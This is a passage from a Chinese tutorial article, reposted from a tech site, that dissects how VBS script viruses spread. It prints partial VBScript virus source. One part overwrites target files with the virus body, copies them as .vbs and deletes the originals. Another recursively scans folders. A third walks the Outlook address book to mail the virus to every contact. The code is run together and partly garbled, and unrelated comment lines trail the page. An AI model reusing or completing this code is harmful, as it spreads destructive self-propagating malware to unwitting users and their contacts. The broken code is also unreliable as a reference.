cop.copy(目标文件.path&".vbs")'创建另外一个病毒文件(以.vbs为后缀)
目标文件.delete(true)'删除目标文件
上面描述了病毒文件是如何感染正常文件的:首先将病毒自身代码赋给字符串变量vbscopy,然后将这个字符串覆盖写到目标文件,并创建一个以目标文件名为文件名前缀、vbs为后缀的文件副本,最后删除目标文件。
下面我们具体分析一下文件搜索代码:
'该函数主要用来寻找满足条件的文件,并生成对应文件的一个病毒副本
subscan(folder_)'scan函数定义,
onerrorresumenext'如果出现错误,直接跳过,防止弹出错误窗口
setfolder_=fso.getfolder(folder_)
setfiles=folder_.files'当前目录的所有文件集合
foreachfileinfilet=fso.GetExtensionName(file)'获取文件后缀
ext=lcase(ext)'后缀名转换成小写字母
ifext="mp5"then'如果后缀名是mp5,则进行感染。请自己建立相应后缀名的文件,最好是非正常后缀名,以免破坏正常程序。
Wscript.echo(file)
endif
next
setsubfolders=folder_.subfolders
foreachsubfolderinsubfolders'搜索其他目录;递归调用
scan()
scan(subfolder)
next
endsub
上面的代码就是VBS脚本病毒进行文件搜索的代码分析。搜索部分scan()函数做得比较短小精悍,非常巧妙,采用了一个递归的算法遍历整个分区的目录和文件。
2.vbs脚本病毒通过网络传播的几种方式及代码分析
VBS脚本病毒之所以传播范围广,主要依赖于它的网络传播功能,一般来说,VBS脚本病毒采用如下几种方式进行传播:
1)通过Email附件传播
这是一种用的非常普遍的传播方式,病毒可以通过各种方法拿到合法的Email地址,最常见的就是直接取outlook地址簿中的邮件地址,也可以通过程序在用户文档(譬如htm文件)中搜索Email地址。
下面我们具体分析一下VBS脚本病毒是如何做到这一点的:
FunctionmailBroadcast()
onerrorresumenext
wscript.echo
SetoutlookApp=CreateObject("Outlook.Application")//创建一个OUTLOOK应用的对象
IfoutlookApp="Outlook"Then
SetmapiObj=outlookApp.GetNameSpace("MAPI")//获取MAPI的名字空间
SetaddrList=mapiObj.AddressLists//获取地址表的个数
ForEachaddrInaddrList
Ifaddr.AddressEntries.Count<>0Then
addrEntCount=addr.AddressEntries.Count//获取每个地址表的Email记录数
ForaddrEntIndex=1ToaddrEntCount//遍历地址表的Email地址
Setitem=outlookApp.CreateItem(0)//获取一个邮件对象实例
SetaddrEnt=addr.AddressEntries(addrEntIndex)//获取具体Email地址
item.To=addrEnt.Address//填入收信人地址item.Subject="病毒传播实验"//写入邮件标题
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-26627-2.html
都适合和你白头到老有的人
在那两个岛上大力兴建军事码头和军用机场吧
北洋用的是实心弹